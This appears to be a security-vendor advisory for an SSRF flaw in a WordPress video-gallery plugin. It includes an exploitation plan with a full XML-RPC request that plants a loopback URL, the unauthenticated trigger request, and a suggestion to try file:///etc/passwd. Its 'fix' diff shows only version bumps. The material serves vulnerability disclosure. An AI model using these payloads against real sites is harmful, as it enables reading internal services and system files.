All-in-One Video Gallery <= 4.8.5 - Authenticated (Subscriber+) Server-Side Request Forgery via 'vdl' Parameter
Description
The All-in-One Video Gallery plugin for WordPress is vulnerable to Server-Side Request Forgery in all versions up to, and including, 4.8.5 via the 'vdl' parameter. This makes it possible for authenticated attackers, with subscriber-level access and above, to make web requests to arbitrary locations originating from the web application and can be used to query and modify information from internal services. A Subscriber-level attacker can plant an internal or loopback URL in the `mp4` post meta of a newly created `aiovg_videos` post via XML-RPC `wp.newPost`, then trigger the unauthenticated `?vdl=<post_id>` endpoint to force the server to fetch that URL and stream the full response body back to the requester.
CVSS Vector Breakdown
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:NTechnical Details
<=4.8.5What Changed in the Fix
Changes introduced in v4.9.0
Source Code
WordPress.org SVN# Exploitation Research Plan - CVE-2026-12123 ## 1. Vulnerability Summary The **All-in-One Video Gallery** plugin (<= 4.8.5) is vulnerable to an **Authenticated Server-Side Request Forgery (SSRF)**. The vulnerability exists due to an unauthenticated endpoint `?vdl=<post_id>` that fetches and stream…
Show full research plan
Exploitation Research Plan - CVE-2026-12123
1. Vulnerability Summary
The All-in-One Video Gallery plugin (<= 4.8.5) is vulnerable to an Authenticated Server-Side Request Forgery (SSRF). The vulnerability exists due to an unauthenticated endpoint ?vdl=<post_id> that fetches and streams the content of a URL stored in the mp4 post meta of an aiovg_videos post. While the trigger is unauthenticated, the setup requires an attacker with at least Subscriber-level permissions to create a post and inject a malicious URL into the mp4 metadata via the WordPress XML-RPC API.
2. Attack Vector Analysis
- Vulnerable Parameter:
vdl(GET parameter on the site root orindex.php). - Metadata Source:
mp4post meta key associated with theaiovg_videospost type. - Authentication Required:
- Setup Phase: Subscriber-level credentials (authenticated).
- Trigger Phase: Unauthenticated (no login required).
- Endpoint:
/?vdl=[post_id] - Mechanism: The plugin retrieves the URL from the
mp4meta of the specified post ID and uses a server-side HTTP client to fetch the content, which is then passed directly back to the requester.
3. Code Flow (Inferred)
Based on the vulnerability description and the provided file list (specifically languages/all-in-one-video-gallery.pot referencing public/video.php):
- Entry Point: A hook in
public/video.php(registered viainitortemplate_redirect) checks for the presence of$_GET['vdl']. - Post Retrieval: The code calls
get_post( (int) $_GET['vdl'] )to verify the existence of the video post. - Meta Retrieval: The code retrieves the video source URL using
get_post_meta( $post_id, 'mp4', true ). - SSRF Sink: The server invokes an HTTP request (likely via
wp_remote_getorcurl) to the retrieved URL. - Data Exfiltration: The response body of the HTTP request is echoed to the output buffer, effectively streaming the internal resource back to the attacker.
4. Nonce Acquisition Strategy
The vulnerability description explicitly states that the ?vdl=<post_id> endpoint is unauthenticated.
- Setup (XML-RPC): XML-RPC
wp.newPostdoes not use standard WordPress nonces; it relies on username/password authentication. - Trigger (vdl): This endpoint is designed for file downloads or streaming and typically lacks nonce protection to support external player requests.
Conclusion: No nonce acquisition is required for this exploit.
5. Exploitation Strategy
Step 1: Create a Malicious Video Post via XML-RPC
Use the XML-RPC wp.newPost method to create an aiovg_videos post containing the SSRF payload in the mp4 custom field.
HTTP Request (http_request tool):
- Method:
POST - URL:
http://<target>/xmlrpc.php - Headers:
Content-Type: text/xml - Body:
<?xml version="1.0"?>
<methodCall>
<methodName>wp.newPost</methodName>
<params>
<param><value><int>1</int></value></param> <!-- blog_id -->
<param><value><string>subscriber_user</string></value></param>
<param><value><string>subscriber_password</string></value></param>
<param>
<value>
<struct>
<member>
<name>post_type</name>
<value><string>aiovg_videos</string></value>
</member>
<member>
<name>post_status</name>
<value><string>publish</string></value>
</member>
<member>
<name>post_title</name>
<value><string>SSRF PoC</string></value>
</member>
<member>
<name>custom_fields</name>
<value>
<array>
<data>
<value>
<struct>
<member>
<name>key</name>
<value><string>mp4</string></value>
</member>
<member>
<name>value</name>
<value><string>http://127.0.0.1:80/wp-admin/</string></value>
</member>
</struct>
</value>
</data>
</array>
</value>
</member>
</struct>
</value>
</param>
</params>
</methodCall>
Step 2: Trigger the SSRF
Extract the post_id from the XML-RPC response (e.g., <value><string>123</string></value>) and request the vdl endpoint.
HTTP Request (http_request tool):
- Method:
GET - URL:
http://<target>/?vdl=123 - Expected Response: The HTML source of the internal
wp-adminpage or the response from the targeted internal service.
6. Test Data Setup
- User Creation: Create a user with the
subscriberrole.wp user create attacker attacker@example.com --role=subscriber --user_pass=password123 - Plugin Configuration: Ensure the All-in-One Video Gallery plugin is active.
- XML-RPC Check: Ensure XML-RPC is enabled (default in modern WP).
7. Expected Results
- The XML-RPC request should return a new
post_id. - The GET request to
?vdl=[post_id]should return the content ofhttp://127.0.0.1:80/wp-admin/(or any other specified internal URL), proving the server made the request and relayed the response.
8. Verification Steps
- Check Post Creation: Use WP-CLI to verify the post and meta were created correctly.
wp post list --post_type=aiovg_videos wp post meta list [POST_ID] - Verify SSRF Log: If the test environment has access to server logs, verify that a request originated from the web server's IP to the target URL.
9. Alternative Approaches
- Encoded IDs: If
?vdl=123fails, check if the ID needs to be base64 encoded using the plugin's internal logic.- Reference
includes/helpers/functions.php:aiovg_base64_encode('123'). - Try:
?vdl=MTIz.(Base64 for 123 using the plugin's specific char replacement:+to-,/to_,=to.).
- Reference
- Different Post Status: If
publishis restricted via XML-RPC for subscribers, trypending. Thevdlhandler might not check the post status. - Protocol Variations: Test with other protocols if the underlying PHP environment supports them (e.g.,
file:///etc/passwd).
Summary
The All-in-One Video Gallery plugin for WordPress is vulnerable to Server-Side Request Forgery (SSRF) via the 'vdl' parameter in versions up to 4.8.5. Authenticated attackers with Subscriber-level access can inject malicious internal URLs into the 'mp4' post meta of a video post and then trigger the server to fetch and stream the response body of that URL by requesting the unauthenticated 'vdl' endpoint.
Security Fix
@@ -11,7 +11,7 @@ * Plugin Name: All-in-One Video Gallery * Plugin URI: https://plugins360.com/all-in-one-video-gallery/ * Description: An ultimate video player and video gallery plugin – no coding required. Suitable for YouTubers, Video Bloggers, Course Creators, Podcasters, Sales & Marketing Professionals, and anyone using video on a website. - * Version: 4.8.5 + * Version: 4.9.0 * Author: Team Plugins360 * Author URI: https://plugins360.com * License: GPL-2.0+ @@ -69,7 +69,7 @@ } // The current version of the plugin if ( !defined( 'AIOVG_PLUGIN_VERSION' ) ) { - define( 'AIOVG_PLUGIN_VERSION', '4.8.5' ); + define( 'AIOVG_PLUGIN_VERSION', '4.9.0' ); }
Exploit Outline
1. Authenticate to the WordPress site as a user with Subscriber-level permissions or higher. 2. Use the WordPress XML-RPC API (typically at `/xmlrpc.php`) with the `wp.newPost` method to create a new post of type `aiovg_videos`. 3. In the post creation request, include a custom field (metadata) with the key `mp4` and a value containing the target internal or loopback URL (e.g., `http://127.0.0.1/wp-admin/`). 4. Extract the resulting `post_id` from the XML-RPC response. 5. Trigger the SSRF by sending an unauthenticated GET request to the site root using the `vdl` parameter (e.g., `/?vdl=[post_id]`). Note: The plugin may require the ID to be base64-encoded using its specific character mapping (+ to -, / to _, = to .). 6. The plugin's back-end handler will retrieve the URL from the post meta, perform a server-side request to that URL, and echo the entire response body back to the attacker.
Check if your site is affected.
Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.